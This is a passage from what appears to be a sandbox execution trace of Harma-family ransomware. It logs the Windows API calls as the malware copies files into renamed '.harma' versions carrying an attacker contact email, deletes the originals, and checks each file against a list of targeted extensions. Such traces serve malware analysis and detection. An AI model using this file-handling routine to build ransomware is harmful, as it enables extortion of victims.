RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x34c0d28 [0174.701] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10000) returned 0x34d0d30 [0174.701] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x500790 [0174.701] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x6) returned 0x532438 [0174.702] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007a8 [0174.702] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x100000) returned 0x3db0020 [0174.702] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007c0 [0174.702] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5007c0, Size=0x20) returned 0x537a08 [0174.702] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x10) returned 0x5007c0 [0174.702] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x5007c0, Size=0x20) returned 0x537a80 [0174.702] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.702] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.702] Wow64DisableWow64FsRedirection (in: OldValue=0x38dff58 | out: OldValue=0x38dff58*=0x0) returned 1 [0174.702] lstrlenW (lpString="kernel32.dll") returned 12 [0174.702] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a08 | out: hHeap=0x4b0000) returned 1 [0174.702] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.702] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x537a80 | out: hHeap=0x4b0000) returned 1 [0174.703] Sleep (dwMilliseconds=0x64) [0174.901] lstrcmpiW (lpString1=".CGM", lpString2=".harma") returned -1 [0174.901] lstrlenW (lpString="MS.CGM") returned 6 [0174.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.902] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=1908) returned 1 [0174.902] CloseHandle (hObject=0x1e4) returned 1 [0174.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0174.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.902] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.902] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.904] GetLastError () returned 0x0 [0174.904] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x774, lpOverlapped=0x0) returned 1 [0174.911] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x780, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x780, lpOverlapped=0x0) returned 1 [0174.912] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.912] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0174.912] SetEndOfFile (hFile=0x1e8) returned 1 [0174.912] CloseHandle (hObject=0x1e8) returned 1 [0174.912] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.912] SetEndOfFile (hFile=0x1e4) returned 1 [0174.913] CloseHandle (hObject=0x1e4) returned 1 [0174.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.913] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 1 [0174.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.913] lstrlenW (lpString=".doc") returned 4 [0174.913] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString=".docx") returned 5 [0174.914] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0174.914] lstrlenW (lpString=".pdf") returned 4 [0174.914] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString=".xls") returned 4 [0174.914] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString=".xlsx") returned 5 [0174.914] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0174.914] lstrlenW (lpString=".ppt") returned 4 [0174.914] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.914] lstrlenW (lpString=".zip") returned 4 [0174.914] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString=".rar") returned 4 [0174.914] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString=".bz2") returned 4 [0174.914] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0174.914] lstrlenW (lpString=".7z") returned 3 [0174.914] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.914] lstrlenW (lpString=".dbf") returned 4 [0174.914] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.914] lstrlenW (lpString=".1cd") returned 4 [0174.914] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.914] lstrlenW (lpString=".jpg") returned 4 [0174.914] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.914] lstrlenW (lpString=".doc") returned 4 [0174.914] lstrcmpiW (lpString1=".doc", lpString2=".CGM") returned 1 [0174.914] lstrlenW (lpString=".docx") returned 5 [0174.915] lstrcmpiW (lpString1=".docx", lpString2="S.CGM") returned -1 [0174.915] lstrlenW (lpString=".pdf") returned 4 [0174.915] lstrcmpiW (lpString1=".pdf", lpString2=".CGM") returned 1 [0174.915] lstrlenW (lpString=".xls") returned 4 [0174.915] lstrcmpiW (lpString1=".xls", lpString2=".CGM") returned 1 [0174.915] lstrlenW (lpString=".xlsx") returned 5 [0174.915] lstrcmpiW (lpString1=".xlsx", lpString2="S.CGM") returned -1 [0174.915] lstrlenW (lpString=".ppt") returned 4 [0174.915] lstrcmpiW (lpString1=".ppt", lpString2=".CGM") returned 1 [0174.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.915] lstrlenW (lpString=".zip") returned 4 [0174.915] lstrcmpiW (lpString1=".zip", lpString2=".CGM") returned 1 [0174.915] lstrlenW (lpString=".rar") returned 4 [0174.915] lstrcmpiW (lpString1=".rar", lpString2=".CGM") returned 1 [0174.915] lstrlenW (lpString=".bz2") returned 4 [0174.915] lstrcmpiW (lpString1=".bz2", lpString2=".CGM") returned -1 [0174.915] lstrlenW (lpString=".7z") returned 3 [0174.915] lstrcmpiW (lpString1=".7z", lpString2="CGM") returned -1 [0174.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.915] lstrlenW (lpString=".dbf") returned 4 [0174.915] lstrcmpiW (lpString1=".dbf", lpString2=".CGM") returned 1 [0174.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.915] lstrlenW (lpString=".1cd") returned 4 [0174.915] lstrcmpiW (lpString1=".1cd", lpString2=".CGM") returned -1 [0174.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM") returned 61 [0174.915] lstrlenW (lpString=".jpg") returned 4 [0174.915] lstrcmpiW (lpString1=".jpg", lpString2=".CGM") returned 1 [0174.915] lstrcmpiW (lpString1=".WPG", lpString2=".harma") returned 1 [0174.916] lstrlenW (lpString="MS.WPG") returned 6 [0174.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.916] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=1382) returned 1 [0174.916] CloseHandle (hObject=0x1e4) returned 1 [0174.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 0x20 [0174.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.916] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.916] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.917] GetLastError () returned 0x0 [0174.917] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x566, lpOverlapped=0x0) returned 1 [0174.919] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x570, lpOverlapped=0x0) returned 1 [0174.920] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.920] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0174.920] SetEndOfFile (hFile=0x1e8) returned 1 [0174.920] CloseHandle (hObject=0x1e8) returned 1 [0174.920] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.920] SetEndOfFile (hFile=0x1e4) returned 1 [0174.921] CloseHandle (hObject=0x1e4) returned 1 [0174.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.921] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg")) returned 1 [0174.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.921] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.921] lstrlenW (lpString=".doc") returned 4 [0174.921] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0174.921] lstrlenW (lpString=".docx") returned 5 [0174.921] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0174.921] lstrlenW (lpString=".pdf") returned 4 [0174.921] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0174.921] lstrlenW (lpString=".xls") returned 4 [0174.922] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0174.922] lstrlenW (lpString=".xlsx") returned 5 [0174.922] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0174.922] lstrlenW (lpString=".ppt") returned 4 [0174.922] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.922] lstrlenW (lpString=".zip") returned 4 [0174.922] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0174.922] lstrlenW (lpString=".rar") returned 4 [0174.922] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString=".bz2") returned 4 [0174.922] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString=".7z") returned 3 [0174.922] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0174.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.922] lstrlenW (lpString=".dbf") returned 4 [0174.922] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.922] lstrlenW (lpString=".1cd") returned 4 [0174.922] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.922] lstrlenW (lpString=".jpg") returned 4 [0174.922] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.922] lstrlenW (lpString=".doc") returned 4 [0174.922] lstrcmpiW (lpString1=".doc", lpString2=".WPG") returned -1 [0174.922] lstrlenW (lpString=".docx") returned 5 [0174.922] lstrcmpiW (lpString1=".docx", lpString2="S.WPG") returned -1 [0174.922] lstrlenW (lpString=".pdf") returned 4 [0174.923] lstrcmpiW (lpString1=".pdf", lpString2=".WPG") returned -1 [0174.923] lstrlenW (lpString=".xls") returned 4 [0174.923] lstrcmpiW (lpString1=".xls", lpString2=".WPG") returned 1 [0174.923] lstrlenW (lpString=".xlsx") returned 5 [0174.923] lstrcmpiW (lpString1=".xlsx", lpString2="S.WPG") returned -1 [0174.923] lstrlenW (lpString=".ppt") returned 4 [0174.923] lstrcmpiW (lpString1=".ppt", lpString2=".WPG") returned -1 [0174.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.923] lstrlenW (lpString=".zip") returned 4 [0174.923] lstrcmpiW (lpString1=".zip", lpString2=".WPG") returned 1 [0174.923] lstrlenW (lpString=".rar") returned 4 [0174.923] lstrcmpiW (lpString1=".rar", lpString2=".WPG") returned -1 [0174.923] lstrlenW (lpString=".bz2") returned 4 [0174.923] lstrcmpiW (lpString1=".bz2", lpString2=".WPG") returned -1 [0174.923] lstrlenW (lpString=".7z") returned 3 [0174.923] lstrcmpiW (lpString1=".7z", lpString2="WPG") returned -1 [0174.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.923] lstrlenW (lpString=".dbf") returned 4 [0174.923] lstrcmpiW (lpString1=".dbf", lpString2=".WPG") returned -1 [0174.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.923] lstrlenW (lpString=".1cd") returned 4 [0174.923] lstrcmpiW (lpString1=".1cd", lpString2=".WPG") returned -1 [0174.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG") returned 61 [0174.923] lstrlenW (lpString=".jpg") returned 4 [0174.923] lstrcmpiW (lpString1=".jpg", lpString2=".WPG") returned -1 [0174.923] lstrcmpiW (lpString1=".FLT", lpString2=".harma") returned -1 [0174.923] lstrlenW (lpString="PICTIM32.FLT") returned 12 [0174.923] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.924] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x38dff1c | out: lpFileSize=0x38dff1c*=73080) returned 1 [0174.924] CloseHandle (hObject=0x1e4) returned 1 [0174.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 0x20 [0174.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0174.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0174.927] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.928] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0174.928] GetLastError () returned 0x0 [0174.928] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x11d78, lpOverlapped=0x0) returned 1 [0174.931] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x11d80, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0x11d80, lpOverlapped=0x0) returned 1 [0174.932] ReadFile (in: hFile=0x1e4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x38dfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.933] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x38dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.933] SetEndOfFile (hFile=0x1e8) returned 1 [0174.933] CloseHandle (hObject=0x1e8) returned 1 [0174.933] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.933] SetEndOfFile (hFile=0x1e4) returned 1 [0174.934] CloseHandle (hObject=0x1e4) returned 1 [0174.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt")) returned 1 [0174.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.935] lstrlenW (lpString=".doc") returned 4 [0174.935] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0174.935] lstrlenW (lpString=".docx") returned 5 [0174.935] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0174.935] lstrlenW (lpString=".pdf") returned 4 [0174.935] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0174.935] lstrlenW (lpString=".xls") returned 4 [0174.935] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0174.935] lstrlenW (lpString=".xlsx") returned 5 [0174.935] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0174.935] lstrlenW (lpString=".ppt") returned 4 [0174.935] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0174.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.935] lstrlenW (lpString=".zip") returned 4 [0174.935] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0174.935] lstrlenW (lpString=".rar") returned 4 [0174.935] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0174.935] lstrlenW (lpString=".bz2") returned 4 [0174.935] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0174.935] lstrlenW (lpString=".7z") returned 3 [0174.935] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0174.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.935] lstrlenW (lpString=".dbf") returned 4 [0174.935] lstrcmpiW (lpString1=".dbf", lpString2=".FLT") returned -1 [0174.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.935] lstrlenW (lpString=".1cd") returned 4 [0174.935] lstrcmpiW (lpString1=".1cd", lpString2=".FLT") returned -1 [0174.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.935] lstrlenW (lpString=".jpg") returned 4 [0174.935] lstrcmpiW (lpString1=".jpg", lpString2=".FLT") returned 1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.936] lstrlenW (lpString=".doc") returned 4 [0174.936] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0174.936] lstrlenW (lpString=".docx") returned 5 [0174.936] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0174.936] lstrlenW (lpString=".pdf") returned 4 [0174.936] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0174.936] lstrlenW (lpString=".xls") returned 4 [0174.936] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0174.936] lstrlenW (lpString=".xlsx") returned 5 [0174.936] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0174.936] lstrlenW (lpString=".ppt") returned 4 [0174.936] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0174.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT") returned 67 [0174.936] lstrlenW (lpString=".zip") returned 4 [0174.936] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0174.936] lstrlenW (lpString=".rar") returned 4 [0174.936] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0174.936] lstrlenW (lpString=".bz2") returned 4 [0174.936] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") 